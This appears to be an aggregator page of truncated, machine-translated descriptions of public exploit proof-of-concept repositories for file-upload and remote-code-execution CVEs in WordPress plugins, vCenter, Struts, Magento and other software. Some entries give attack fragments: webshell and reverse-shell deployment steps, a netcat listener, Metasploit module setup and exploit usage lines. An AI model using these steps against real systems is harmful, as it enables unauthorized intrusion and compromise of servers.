CVE-2023-45878-POC

CVE-2023-45878-POC CVE-2023-45878 PoC pour Gibbon LMS sur XAMPP Windows. Télécharge un webshell nommé shell.php pour l'injection de commandes. Pour un reverse shell, télécharge un script PowerShell reverse shell .ps1 appelé shell.ps1 qui est téléchargé sur la machine cible en utilisant shell.php...

Drag-and-Drop-Multiple-File-Uploader-PRO-Path-Traversal

CVE-2023-1112 - Drag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 경로 탐색 정보 Drag and Drop Multiple File Uploader PRO - Contact Form 7 버전 5.0.6.1의 경로 탐색Path Traversal 취약점으로 인해 인증되지 않은 원격 공격자가 원격 서버에서 쓰기 가능한 모든 위치에 파일을 업로드할 수 있습니다 CVE-2023-1112. 이 취약점을 악용하려면 공격자가 플러그인의 폼을 사용하여 파일을...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 RCE non autorisée dans VMware vCenter script d'exploitation metasploit préparation git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

CVE-2021-21014

PoC Limité CVE-2021-21014 Les versions de Magento 2.4.1 et antérieures, 2.4.0-p1 et antérieures et 2.3.6 et antérieures sont vulnérables à un contournement de restriction de téléchargement de fichier. Une exploitation réussie pourrait conduire à une exécution de code arbitraire par un attaquant...

Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 Уязвимость CVE-2020-35489 обнаружена в плагине WordPress Contact Form 7 версии 5.3.1 и более старых. Эксплуатируя эту уязвимость, злоумышленники могут просто загружать файлы любого типа, обходя все ограничения, установленные в отношении разрешенных типов...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere сетевая интеллектуальная офисная система Бэкенд Getshell Без аутентификации 1. Уязвимость произвольной загрузки файлов /ispirit/im/upload.php 2. Уязвимость локального включения файлов /ispirit/interface/gateway.php Обход выполнения команд: exec"cmd /c ".$command;...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Comment faire 1. Créez un reverse shell PHP 2. Démarrez un serveur pour héberger le shell dans le même répertoire python3 -m http.server 3. Démarrez un listener netcat sur un port local de votre choix exemple : nc -nlvp port de votre choix 4. Exécutez l'exploit comm...

CVE-2021-21972

CVE-2021-21972 vérificateur Vulnérabilité d'exécution de code à distance dans VMware vCenter Server CVE-2021-21972 Ce script vérifie l'existence de CVE-2021-21972 en se basant sur le chemin suivant : "/ui/vropspluginui/rest/services/uploadova" via une requête POST et en recherchant dans le corps ...

CVE-2015-4133

CVE-2015-4133 usage: CVE-2015-4133.py -h --RHOST RHOST --RPORT RPORT -v YEAR MONTH FILE ReFlex Gallery WordPress plugin = 3.1.3 CVE-2015-4133 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2015-4133 positional arguments: YEAR подкаталог wp-content/uploads MONTH подкаталог wp-content/uploads...

CVE-2021-40964

Tiny File Manager = 2.4.6 - Exécution de code à distance Authentifié 🚨 À propos de l'exploit Ceci est un exploit Bash authentifié d'Exécution de Code à Distance RCE pour Tiny File Manager versions = 2.4.6, vulnérable sous CVE-2021-40964. Le script exploite : Une validation de téléchargement faibl...

CVE-2025-6058

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Exploitation de téléchargement de fichier non authentifié Exploit de téléchargement arbitraire de fichier non authentifié ciblant le plugin WPBookit pour WordPress ≤ 1.0.4 L'exploit permet le téléchargement distant d'un shell et l'exécution complète de...

struts-uploader-vulnerability

CVE-2024-53677 — Как работает эксплойт и как его запустить Краткое описание уязвимости Недостаток заключается в том, как FileUploadInterceptor в Struts передает имя загружаемого файла классу действия. Обычно перехватчик очищает имя файла, но Struts также позволяет любому multipart-параметру...

CVE-2020-9380

PoC de l'exploit IPTV Smarters Utilisation python gld.py -u http://www.pirate-ilegal-tv.com/ -i Vulnérabilité Fichier includes/ajax-control.php: ?php / @ PHP 5.6 @ Decoder version : 1.0.0.1 @ Release on : 24.03.2018 @ Website : http://EasyToYou.eu / sessionstart; if fileexists"functions.php"...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Exécution directe python server-1.py Téléchargement arbitraire de fichier PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Résultat : CVE-2021-41127 server-1.py Nom de modèle par défaut : evilimportmodel.tar.gz Dé...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Description Script PoC pour une vulnérabilité critique dans Krayin CRM v2.2.x permettant une RCE authentifiée via un téléchargement de fichier sans restriction. Usage Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse...

CVE-2024-50623

POC - CVE-2024-50623 - Téléchargement et dépôt de fichiers sans restriction dans Cleo Aperçu CVE-2024-50623 est une vulnérabilité critique identifiée dans les produits logiciels de transfert de fichiers de Cleo — Cleo Harmony, Cleo VLTrader et Cleo LexiCom — versions antérieures à 5.8.0.21. Cette...

cve-2023-50164-poc

PoC для CVE-2023-50164 Установка Для установки этого инструмента у вас должна быть установлена и настроена версия Go не ниже 1.20. $ go install github.com/dwisiswant0/cve-2023-50164-poc@latest В качестве альтернативы вы можете скомпилировать его самостоятельно: $ git clone...

CVE-2025-3515

CVE-2025-3515 - Произвольная загрузка файлов в WordPress с удаленным выполнением кода RCE Использование python3 exploit.py Обзор CVE-2025-3515 — это уязвимость загрузки файлов в плагине WordPress «Drag and Drop Multiple File Upload for Contact Form 7», которая позволяет неавторизованным...

CVE-2023-25202

CVE-2023-25202 : Mécanisme de téléchargement de fichier non sécurisé Description CVE-2023-25202 implique un mécanisme de téléchargement de fichier non sécurisé dans l'application Therefore, qui est trop permissive dans les types de fichiers que les utilisateurs peuvent télécharger. L'application...

Demo-Exploit-Jackson-RCE

Demo-Exploit-Jackson-RCE Basé sur le projet jackson-rce-via-spel, ce projet sert d'application web exemple pour tester plusieurs vecteurs d'attaque upload de fichier, formulaires sur la vulnérabilité Jackson-databind. Introduction Basé sur un frontend Angular7 et un backend spring-boot, différent...